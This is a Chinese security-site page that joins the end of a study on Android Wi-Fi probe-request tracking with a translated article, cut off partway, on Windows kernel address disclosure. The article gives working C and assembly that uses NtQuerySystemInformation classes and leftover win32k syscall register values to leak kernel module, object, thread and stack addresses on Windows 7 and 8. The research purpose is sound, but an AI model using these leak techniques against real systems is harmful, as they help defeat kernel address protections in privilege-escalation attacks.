当Wi-Fi处于激活状态时，所有设备都会发送Wi-Fi报文，这点与我们的预期相符。当Wi-Fi处于禁用状态时，根据设备搭载的Android系统版本的不同，我们观察到两种不同的行为。对于老版本系统而言（2.2.1以及2.3.7版），当关闭Wi-Fi时，我们没有观察到Wi-Fi报文。对较新的版本而言（4.3以及更高版本），Wi-Fi行为取决于“始终允许扫描”选项是否启用。当“始终允许扫描”选项激活时，不论设备的Wi-Fi开关是否关闭，设备都会发送Wi-Fi报文。为了完全禁止设备发送Wi-Fi报文，我们需要同时禁用Wi-Fi以及“始终允许扫描”选项。我们注意到OnePlus
One这款设备中没有“始终允许扫描”选项，因此，使用这款设备时，只有关闭手机或者使用飞行模式，否则我们无法阻止手机发送Wi-Fi报文。
**3.3 探测频率**
探测频率与具体设备、配置以及使用场景有关。虽然我们的研究目的并不是想找出具体的差别，我们可以发现，在某些场景下，设备发送信号的频率会处于较高水平。在这种情况下，对设备进行跟踪的可能性就会大大提高。比如，对于OnePlus
One这款设备来说，如果Wi-Fi开关或者定位选项处于启用状态，当用户打开Google Maps应用时，设备就会以每5秒一次的频率来发送探测请求报文。
**
**
**4、提示激活定位功能**
在某些版本的Android系统上，启动Google Maps时，如果定位功能处于未激活状态，设备就会立刻提示用户激活定位功能。在HTC
WildFire上，用户会被重定向到相应的设置面板。在OnePlus
One上，只要点击弹出消息中的“OK”按钮，就会马上激活这个选项。如果用户忽略掉这条消息，后续再启动Google
Maps时不会再次弹出相应的对话框。然而，如果用户再次点击定位按钮（图2右下角那个按钮），那么这个对话框会再次弹出。在Nexus
S上，我们发现有两种情况可能会出现（如图2所示）：
如果Wi-Fi开关处于 **禁用**
状态，并且定位选项以及“始终允许扫描”选项也处于禁用状态，那么设备会提示用户激活这两个选项，如果用户点击“Yes”按钮，那么就会激活这两个选项。
如果Wi-Fi开关处于 **激活**
状态，而定位选项以及“始终允许扫描”选项处于禁用状态，设备只会弹出对话框提示用户激活定位选项，没有提示激活“始终允许扫描”选项。
图2(a).启用“始终允许扫描”选项时，Nexus S上的Google Maps提示用户激活Wi-Fi
图2(b).禁用“始终允许扫描”选项时，Nexus S上的Google Maps提示用户激活Wi-Fi
在OnePlus One上，Google Mpas会弹出对话框，请求用户激活Wi-Fi，如图3所示。
图3(a).简略信息
图3(b).点击展开按钮后显示详细信息
**
**
**五、总结**
在Android系统上，禁用Wi-Fi并不足以阻止设备发送Wi-Fi报文，某些设备在Wi-Fi被禁用后依然会产生Wi-Fi报文。因此，禁用Wi-Fi后，我们并不能够完全躲避Wi-Fi追踪系统对用户的数据收集行为。为了阻止设备发送Wi-Fi报文，我们需要同时禁用设备上的两个功能：我们必须同时禁用Wi-Fi开关以及“始终允许扫描”选项，才能保证设备处于静默状态。在某些设备上，我们甚至无法看到那个选项，这意味着用户无法阻止手机发送Wi-Fi报文。
虽然Android在较新版的系统中引入了MAC地址随机化机制[1]，还是有一些设备不支持这个功能。从6.0版起，Android开始支持MAC地址随机化功能，而目前54.2%的Android设备依然在使用老版本的系统[2]。此外，只要硬件支持MAC地址随机化，MAC地址随机化就应该处于激活状态，然而这种情况在2017年还非常少见。
**
**
**六、参考资料**
[1] [Android
6.0改动](https://developer.android.com/about/versions/marshmallow/android-6.0-changes.html)
[2]
[Android平台版本说明](https://developer.android.com/about/dashboards/index.html#Platform)
[3]
[Android定位策略](https://developer.android.com/guide/topics/location/strategies.html)
[4] [Android扫描论坛](https://android.stackexchange.com/questions/131414/do-android-devices-make-active-or-passive-scan-when-looking-for-wifi-ap)
[5] [华盛顿时报：商店如何使用用户的WiFi来跟踪用户购物习惯](https://www.washingtonpost.com/news/the-switch/wp/2013/10/19/how-stores-use-your-phones-wifi-to-track-your-shopping-habits/?utm_term=.f1c5d20d116d)
[6] A study of mac address randomization in mobile devices and when it fails.
arXiv preprint arXiv:1703.02874, 2017。
[7] Tracking Unmodified Smartphones Using Wi-fi Monitors. In Proceedings of
the 10th ACM Conference on Embedded Network Sensor Systems, SenSys ’12, pages
281–294, New York, NY, USA, 2012. ACM。 | 社区文章 |
# 【技术分享】通过内核地址保护措施，回顾Windows安全加固技术
|
##### 译文声明
本文是翻译文章，文章来源：samdb.xyz
原文地址：<https://samdb.xyz/revisiting-windows-security-hardening-through-kernel-address-protection/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：shan66**
**预估稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投**
**前言**
在2011年的时候，Windows 7 Service Pack
1如日中天，那时我才开始接触编程，而j00ru则发布了一个介绍在用户模式下通过各种方式访问Windows内核指针的白皮书：Windows Security
Hardening Through Kernel Address Protection。
我决定重新回味一下这篇白皮书中讨论的各种技术，搜罗可用于Windows 7上的相应版本，然后调查它们能否在Windows 8 / 8.1 /
10上奏效。遇到无法在Windows 8 / 8.1 /
10上工作的时候，我会进一步研究相应的函数在新版本的Windows中发生了怎样的变化。这方面的工作，虽然很多都被别人做过了，但通过动手实践，我还是学到了很多东西；同时，作为一个有趣的逆向工程的练习，或许对大家也会有所帮助。
对于每个例子，我都会提供一个可用于Windows 7 32位的实现，然后将其移植到64位Windows，如果发现无法用于新版本的Windows
的话，则说明原来用到的某些特性在新版本操作系统中已经发生了变化。
本文中讨论的每一种技术，在Github上都可以下载到相应的Visual Studio项目。
**Windows System Information classes**
****
NtQuerySystemInformation是一个经典的和众所周知的未公开函数，利用逆向工程的获得的各种细节，人们发现它可以用来收集关Windows内核的状态信息。
它在MSDN上的定义如下：
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
第一个参数是SYSTEM_INFORMATION_CLASS的值，这个值决定返回什么信息。
这些值可以在winternl.h中找到，其他的值也被人通过逆向工程找到了（例如在wine项目实现中就可以找到这些值）。
在j00ru的论文中，他考察了4个枚举值，我们将在后文中单独加以解释。
第二个参数是指向输出数据的结构的指针，它会随着SystemInformationClass值的不同而变化，第三个参数是其长度。
最后一个参数用于返回写入输出结构的数据量。
为了避免为各个SystemInformationClass值重复编码，我将在这里给出实际定义和调用NtQuerySystemInformation的代码。
首先，我们将包含标准的Visual
Studio项目头文件，同时要完整导入Windows.h文件，因为它定义了我们需要用到的许多Windows特有的结构和函数。
#include "stdafx.h"
#include <windows.h>
我们还需要定义NyQuerySystemInformation函数，以便让一个指针指向它，从而便于调用。
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
最后，我们还需要在ntdll中找到NtQuerySystemInformation函数，方法是获取一个ntdll的HANDLE，然后再其中寻找该函数的地址，然后快速检查它是否已成功找到。
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.n");
return 1;
}
上述代码一旦运行，我们就可以像调用函数一样来查询变量了。
**
**
**Windows 7 32 bit SystemModuleInformation**
这里介绍的第一个SystemInformationClass值是SystemModuleInformation，当使用此值时，返回当前已经加载到内核空间的地址的所有驱动程序的相关数据，包括它们的名称和大小。
首先，我们需要定义枚举值SYSTEM_INFORMATION_CLASS，稍后我们将其传递给NtQuerySystemInformation，这里其值为11，如下所示。
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;
接下来，我们需要定义引用SystemModuleInformation时NtQuerySystemInformation会将信息加载到其中的结构。
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
如您所见，SYSTEM_MODULE结构包括ImageBaseAddress、ImageSize和Name字段，这些正是我们感兴趣的东西。为了弄清楚我们需要分配多少内存，我们必须调用NtQuerySystemInformation
SystemModuleInformation枚举值和一个NULL输出指针，这样的话，它就会加载所需的字节数到ReturnLength参数。
ULONG len = 0;
query(SystemModuleInformation, NULL, 0, &len);
现在我们知道了需要多少内存，那么就可以分配一个适当大小的SYSTEM_MODULE_INFORMATION结构了，然后，再次调用NtQuerySystemInformation。
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL) {
printf("Could not allocate memory for module info.n");
return 1;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (len == 0) {
printf("Failed to retrieve system module information.rn");
return 1;
}
在检查一切都返回都没有任何错误后，我们就可以使用ModulesCount字段来遍历SYSTEM_MODULE数组，从而打印每个模块的关键细节信息了。
for (int i = 0; i < pModuleInfo->ModulesCount; i++) {
PVOID kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
printf("Module name %st", kernelImage);
printf("Base Address 0x%Xrn", kernelImageBase);
}
构建并运行上述代码，我们将得到以下输出结果。
这个例子的完整代码（包括后面讨论的在64位Windows上运行的版本）可以从Github上面下载。
**SystemHandleInformation**
在j00ru的论文中提到的第二个SystemInformationClass值是SystemHandleInformation，它给出了内核内存中所有进程的每个对象的HANDLE和指针，其中包括所有Token对象。在这里，我们将使用SystemHandleInformation的扩展版本，因为原始版本只给出16位的HANDLE值，这在某些情况下可能是不够的。
首先，我们需要再次定义正确的SYSTEM_INFORMATION_CLASS值。
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;
接下来，我们需要定义输出结构（取自Process Hacker，从第1595行开始）。
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
正如您看到的，输出结构包含每个对象的HandleValue和Object字段，它是一个指向对象在内存中的位置的指针。
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
为了使用这个SystemInformationClass值，NtQuerySystemInformation提供了一个奇怪的API，当使用NULL指针调用它时，它不是返回所需的内存，而只是返回NTSTATUS代码0xC0000004。
这是STATUS_INFO_LENGTH_MISMATCH的代码，当为待写入的输出分配的内存不足时，就会返回该代码。为了处理这个问题，我为输出分配了很少的内存，然后不断调用NtQuerySystemInformation，每次将内存量加倍，直到它返回一个不同的状态代码为止。
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS) 0xc0000004);
一旦分配了足够的内存，该函数就会成功返回，然后我们就可以像前面介绍的那样来遍历输出，并打印我们感兴趣的值了。
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
PVOID object = pHandleInfo->Handles[i].Object;
HANDLE handle = pHandleInfo->Handles[i].HandleValue;
HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
printf("PID: %dt", pid);
printf("Object 0x%Xt", object);
printf("Handle 0x%Xrn", handle);
}
构建并运行上述代码，我们将得到以下输出结果。
这个例子的完整代码（包括后面在64位Windows上运行的相应版本）可以从Github上面下载。
**
**
**SystemLockInformation**
在j00ru的论文中考察的第三个SystemInformationClass值是SystemLockInformation，它返回当前存在于内核内存中的每个Lock对象的详细信息和地址。
同样的，我们首先要定义正确的SYSTEM_INFORMATION_CLASS值。
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemLockInformation = 12
} SYSTEM_INFORMATION_CLASS;
接下来，我们需要定义输出结构，为此，我引用了j00ru的文件中的结构定义，并假设提供LocksCount信息的容器结构也采用其他结构的模式。
typedef struct _SYSTEM_LOCK {
PVOID Address;
USHORT Type;
USHORT Reserved1;
ULONG ExclusiveOwnerThreadId;
ULONG ActiveCount;
ULONG ContentionCount;
ULONG Reserved2[2];
ULONG NumberOfSharedWaiters;
ULONG NumberOfExclusiveWaiters;
} SYSTEM_LOCK, *PSYSTEM_LOCK;
typedef struct SYSTEM_LOCK_INFORMATION {
ULONG LocksCount;
SYSTEM_LOCK Locks[1];
} SYSTEM_LOCK_INFORMATION, *PSYSTEM_LOCK_INFORMATION;
在SYSTEM_LOCK结构中，需要注意的关键值是Address字段，它是指向内核内存中的对象的指针。
就像SystemExtendedHandleInformation的用法那样，无法直接让NtQuerySystemInformation提供我们所需的输出缓冲区大小，我们需要在一个循环中调用它，直至给出长度不匹配错误代码为止。
PSYSTEM_LOCK_INFORMATION pLockInfo = NULL;
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
do {
len *= 2;
pLockInfo = (PSYSTEM_LOCK_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemLockInformation, pLockInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
一旦分配了足够的内存，该函数就会成功返回，然后我们就可以像前面介绍的那样来遍历输出，并打印我们感兴趣的值了。
for (int i = 0; i < pLockInfo->LocksCount; i++) {
PVOID lockAddress = pLockInfo->Locks[i].Address;
USHORT lockType = (USHORT)pLockInfo->Locks[i].Type;
printf("Lock Address 0x%Xt", lockAddress);
printf("Lock Type 0x%Xrn", lockType);
}
它可以在32位Windows 7 上成功运行：
完整代码，包括64位Windows的相应版本，可以从Github下载。
**
**
**SystemExtendedProcessInformation**
在j00ru的论文中提到的最后一个SystemInformationClass值是SystemExtendedProcessInformation，它返回在系统中运行的所有进程和线程的详细信息，包括每个线程用户和内核模式堆栈的地址。
首先，我们需要定义正确的SYSTEM_INFORMATION_CLASS值。
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemSessionProcessInformation = 57
} SYSTEM_INFORMATION_CLASS;
接下来，我们需要定义所有的输出结构，这些结构取自伯克利的BOINC项目。借助于逆向工程，人们已经对该结构有了全面的了解，所以我们不妨使用完整的结构定义。
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _VM_COUNTERS {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef enum _KWAIT_REASON
{
Executive = 0,
FreePage = 1,
PageIn = 2,
PoolAllocation = 3,
//SNIP
WrRundown = 36,
MaximumWaitReason = 37
} KWAIT_REASON;
typedef struct _SYSTEM_THREAD_INFORMATION{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
KWAIT_REASON WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION
{
SYSTEM_THREAD_INFORMATION ThreadInfo;
PVOID StackBase;
PVOID StackLimit;
PVOID Win32StartAddress;
PVOID TebAddress;
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
} SYSTEM_EXTENDED_THREAD_INFORMATION, *
PSYSTEM_EXTENDED_THREAD_INFORMATION;
typedef struct _SYSTEM_EXTENDED_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
PVOID PageDirectoryBase;
VM_COUNTERS VirtualMemoryCounters;
SIZE_T PrivatePageCount;
IO_COUNTERS IoCounters;
SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];
} SYSTEM_EXTENDED_PROCESS_INFORMATION, *PSYSTEM_EXTENDED_PROCESS_INFORMATION;
在这些结构中，我们感兴趣的关键值是StackBase和StackLimit字段，它们提供了线程内核模式堆栈的起始地址及其边界。
再次重申，NtQuerySystemInformation不会告诉我们需要分配多少内存，所以我们需要利用循环来调用它。
ULONG len = 20;
NTSTATUS status = NULL;
PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;
do {
len *= 2;
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemSessionProcessInformation, pProcessInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
一旦函数成功调用，我们就可以为系统上运行的每个线程打印出相应的StackBase和StackLimit值了。为此，我们需要遍历所有的ProcessInfo结构，然后遍历其中的每个线程，并打印我们感兴趣的值。
while (pProcessInfo->NextEntryOffset != NULL) {
for (unsigned int i = 0; i < pProcessInfo->NumberOfThreads; i++) {
PVOID stackBase = pProcessInfo->Threads[i].StackBase;
PVOID stackLimit = pProcessInfo->Threads[i].StackLimit;
printf("Stack base 0x%Xt", stackBase);
printf("Stack limit 0x%Xrn", stackLimit);
}
pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);
}
下面是它在32位Windows 7上面的运行结果：
这个示例的完整代码（包括用于64位系统的相应版本）可以在Github上找到。
**
**
**Windows 8 64 bit**
所有这些代码，要想用于64位Windows 8上，都需要稍作修改。当然，具体需要做出怎样的修改，则需要借助于调试代码本身来完成。
**
**
**SystemModuleInformation**
只有两处需要稍作修改，首先位于system_module结构之后的ImageBaseAddress指针是32位的，所以需要加入一个填充变量，至于填充的额外32位所包含的内容则是无所谓的。
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
此外，一旦NtQuerySystemInformation被调用，用于打印基地址的printf语句需要进行相应的更新，以便打印64位指针。
printf("Base Addr 0x%llxrn", kernelImageBase);
编译之后，就可以成功运行在64位Windows 8上面了：
此外，编译后的代码也可以从Github上下载。
**
**
**SystemHandleInformation**
对于SystemHandleInformation来说，只需要改动print语句，其他一切正常。
#ifdef _WIN64
printf("Object 0x%llxt", object);
#else
printf("Object 0x%Xt", object);
#endif
在64位Windows 8上的运行结果：
最终的代码也可以从Github上下载。
**
**
**SystemLockInformation**
为了让SystemLockInformation可用于64位Windows，必须添加另一个填充变量，当我测试时，这个变量里面好像没有任何东西，不过，也可能还有其他用途，只是我没有注意到罢了。字段大小不会相加，因为还要考虑对齐问题。
ULONG Reserved2[2];
#ifdef _WIN64
ULONG Reserved3;
#endif
此外，还必须修修改打印锁地址的printf语句，使其支持64位地址。
#ifdef _WIN64
printf("Lock Address 0x%llxt", lockAddress);
#else
printf("Lock Address 0x%Xt", lockAddress);
#endif
之后，它就可以在64位Windows 8上面正常使用了：
最终的代码也可以从Github上下载。
**
**
**SystemExtendedProcessInformation**
SystemExtendedProcessInformation所需的改动也很少，只要在SYSTEM_THREAD_INFORMATION结构中填充128位即可——它肯定是有用处的，但具体我还不太清楚。
#ifdef _WIN64
ULONG Reserved[4];
#endif
}SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
另外，处理地址的printf语句需要像前面介绍的那样进行相应的更新。
#ifdef _WIN64
printf("Stack base 0x%llxt", stackBase);
printf("Stack limit 0x%llxrn", stackLimit);
#else
printf("Stack base 0x%Xt", stackBase);
printf("Stack limit 0x%Xrn", stackLimit);
#endif
完成上述修改之后，代码就可以在64位Windows 8上面正常运行了：
最终的代码也可以从Github上下载。
**
**
**Windows 8.1 64 bit onward**
至于在Windows 8.1上修改这些代码方面，我还是多少有点优势的：毕竟我早就阅读过Alex
Ionescu的一篇文章，因此我知道可通过一种稍微不同的方式来运行二进制代码。 在Windows
Vista中引入了完整性级别的概念，这将导致所有进程在下面所示的六个完整性级别之一上面运行。
完整性级别较高的进程可以访问更多的系统资源，例如沙盒进程通常是在较低的完整性级别上面运行，并且对系统其余部分的访问权限是最小的。
更多的细节可以在上面链接的MSDN页面上找到。
我创建了一个完整性水平较低的cmd.exe副本，具体方法请参见这里。当我试图在这个命令提示符下面运行NtQuerySystemInformation的二进制代码时，就会得到错误代码0xC0000022：
STATUS_ACCESS_DENIED的这个NTSTATUS代码定义如下：
进程已请求访问对象，但尚未授予这些访问权限。
但是，如果在中等完整性级别的命令提示符下运行该二进制代码话，则一切正常：
这意味着必须向函数添加完整性级别检查。
您可以使用SysInternals中的procexp查看完整性级别进程（见最后一列）：
这时我开始研究，为了添加了该项检查，NtQuerySystemInformation在Windows
8和8.1之间发生了哪些变化。利用IDA考察NtQuerySystemInformation函数后，我发现它依赖于调用“ExpQueryInformationProcess”函数。
通过Diaphora检查这两个版本的ntoskrnl.exe的差异，我发现这个函数在两个操作系统版本之间发生了重大变化。
通过比较两个实现汇编代码的不同之处，很容易就可以看出，这里添加了一个对“ExIsRestrictedCaller”的调用，通过交叉引用可以获悉，它主要是从ExpQuerySystemInformation中调用的，并且在相关函数中也被调用了几次。
我还看了一下函数本身，我注释的汇编代码见下文。
**根据我的理解，该函数的工作机制为：**
1、检查在ecx中传递给它的未知值是否为0，如果是的话就返回0
2、使用PsReferencePrimaryToken增加调用进程令牌的引用计数
3、使用SeQueryInformationToken将调用进程令牌的TokenIntegrityLevel读入一个局部变量
4、使用ObDereferenceObject减少调用进程令牌的引用计数
5、检查SeQueryInformationToken是否返回错误代码，如果是就返回1
6、如果SeQueryInformationToken成功，将读取令牌完整性级别，并与0x2000（这个值表示中等完整性级别）进行比较
7、如果令牌完整性级别低于0x2000则返回1，否则返回0
Alex Ionescu在他的博客上提供了这个函数的逆向版本。 每次该函数被调用时，它就返回1，然后调用函数将返回前面提到的错误代码。
**Win32k.sys系统调用信息泄露** **Windows 7 32 bit**
这个问题最初是由j00ru在发布白皮书几个月前发现的，并在原始博客文章中有更深入的讨论。
问题是，win32k.sys中的一些系统调用的返回值是小于32位的，例如VOID或USHORT，所以，在返回之前没有清除eax寄存器。
由于各种原因，在调用返回之前，内核地址在eax中结束，因此在调用之后立即读取eax，这些地址就会被完全暴露或部分暴露。
例如NtUserModifyUserStartupInfoFlags就完全暴露了ETHREAD结构的地址，下面你可以看到，在该函数返回之前调用了UserSessionSwitchLeaveCrit，这似乎向eax中加载了一个指向ETHREAD的指针，但是，由于函数返回之前没有清空寄存器的内容，导致这个地址完整保留了下来。
要想使用这些系统调用来泄漏地址，我们首先需要添加标准include和Winddi，因为它们定义了将要调用的函数使用的一些GDI（图形设备接口）的结构。
#include "stdafx.h"
#include <Windows.h>
#include <Winddi.h>
我决定，通过使用其用户空间包装器（在这种情况下是user32.dll和gdi32.dll）来调用这些系统调用，因此我需要获取DLL中的函数的偏移量。为此，我把该dll拖拽到IDA中，将反汇编重定位到0，然后过滤函数列表以寻找目标函数。这样，找到的函数的起始地址是我需要的dll的偏移量。
我选择了一个完全泄漏ETHREAD的函数，以及一个部分泄漏它的函数。类似的方法同样适用于W32THREAD。
//0x64D4B - NtUserModifyUserStartupInfoFlags
typedef DWORD(NTAPI * lNtUserModifyUserStartupInfoFlags)(DWORD Set, DWORD Flags);
//0xA2F4 - NtUserGetAsyncKeyState
typedef DWORD(NTAPI *lNtUserGetAsyncKeyState)(DWORD key);
//0x47123 - NtGdiFONTOBJ_vGetInfo
typedef VOID(NTAPI * lNtGdiFONTOBJ_vGetInfo)(FONTOBJ *pfo,ULONG cjSize,FONTINFO *pfi);
//0x47263 - NtGdiPATHOBJ_vEnumStartClipLines
typedef VOID(NTAPI * lNtGdiPATHOBJ_vEnumStartClipLines)(PATHOBJ *ppo, CLIPOBJ *pco, SURFOBJ *pso, LINEATTRS *pla);
为了调用这些函数，我们首先需要一个处理它们所在的DLL的句柄，所以，我们首先设法得到user32.dll的句柄。
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return 1;
}
如果上述代码成功运行，我们就可以把第一个函数的偏移量与HMODULE的值相加，从而获得函数入口点，然后就可以将其转换为正确的类型了。
lNtUserGetAsyncKeyState pNtUserGetAsyncKeyState = (lNtUserGetAsyncKeyState)((DWORD_PTR)hUser32 + 0xA2F4);
然后，我们调用该函数并使用内联汇编来获取在eax中留下的值，并打印出来。
pNtUserGetAsyncKeyState(20);
unsigned int ethread = 0;
__asm {
mov ethread, eax;
}
printf("NtUserGetAsyncKeyState ETHREAD partial disclosure: 0x%Xrn", ethread);
然后，我们对NtUserModifyUserStartupInfoFlags进行同样的处理。
lNtUserModifyUserStartupInfoFlags pNtUserModifyUserStartupInfoFlags = (lNtUserModifyUserStartupInfoFlags)((DWORD_PTR)hUser32 + 0x64D4B);
pNtUserModifyUserStartupInfoFlags(20, 12);
unsigned ethread_full = 0;
__asm {
mov ethread_full, eax;
}
printf("NtUserModifyUserStartupInfoFlags ETHREAD full disclosure: 0x%Xrn", ethread_full);
接下来，我们需要调用暴露W32THREAD指针的函数，它们都是在gdi32.dll中定义的，所以我们需要得到该DLL的句柄，然后就可以像前面那样来调用这些函数了。
HMODULE hGDI32 = LoadLibraryA("gdi32.dll");
if (hGDI32 == NULL) {
printf("Failed to load gdi32");
return 1;
}
lNtGdiFONTOBJ_vGetInfo pNtGdiFONTOBJ_vGetInfo = (lNtGdiFONTOBJ_vGetInfo)((DWORD_PTR)hGDI32 + NtGdiFONTOBJ_vGetInfoAddress);
FONTOBJ surf = { 0 };
FONTINFO finfo = { 0 };
pNtGdiFONTOBJ_vGetInfo(&surf, 123, &finfo);
long int w32thread = 0;
__asm {
mov w32thread, eax;
}
printf("NtGdiEngUnLockSurface W32THREAD full disclosure: 0x%Xrn", w32thread);
lNtGdiPATHOBJ_vEnumStartClipLines pNtGdiPATHOBJ_vEnumStartClipLines = (lNtGdiPATHOBJ_vEnumStartClipLines)((DWORD_PTR)hGDI32 + 0x47263);
PATHOBJ pathobj = { 0 };
CLIPOBJ pco = { 0 };
SURFOBJ pso = { 0 };
LINEATTRS pla = { 0 };
pNtGdiPATHOBJ_vEnumStartClipLines(&pathobj, &pco, &pso, &pla);
w32thread = 0;
__asm {
mov w32thread, eax;
}
printf("NtGdiPATHOBJ_vEnumStartClipLines W32THREAD full disclosure: 0x%Xrn", w32thread);
编译并运行代码，我们就可以看到被暴露的地址了。
**Windows 8 64 bit onward**
要使代码在Windows 8上运行，必须首先更新函数偏移量来匹配新的主机VM的二进制代码。
请注意，这里缺少NtGdiFONTOBJ_vGetInfo函数的地址，因为该函数在Windows 8 VM的gdi32版本中没有相应的定义。
//win8, 64bit
#define NtUserModifyUserStartupInfoFlagsAddress 0x263F0
#define NtUserGetAsyncKeyStateAddress 0x3B30
#define NtGdiPATHOBJ_vEnumStartClipLinesAddress 0x67590
第二个问题是，Visual Studio不支持针对amd64代码的内联汇编，所以我添加了一个名为“asm_funcs.asm”的简短文件，具体内容如下所示：
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT
PUBLIC get_rax
get_rax PROC
ret
get_rax ENDP
_TEXT ENDS
END
所有这些实际上就是定义了一个名为“get_rax”的函数，虽然它什么都不做，但却会返回，并且根据调用约定，返回值将保存在rax中。
此外，我们还必须对Visual Studio项目的配置稍作修改，以使其编译所包含的汇编代码，为此，可以在solution
explorer中右键单击项目，转到“Build Dependencies” – >“Build
Customizations..”，然后在对话窗口中勾选'masm'选项。 Elias Bachaalany提供了更为详细的介绍，请访问这里。
然后，通过将这个函数声明为一个外部函数，将该函数导入到主文件中。
extern "C" unsigned long long get_rax();
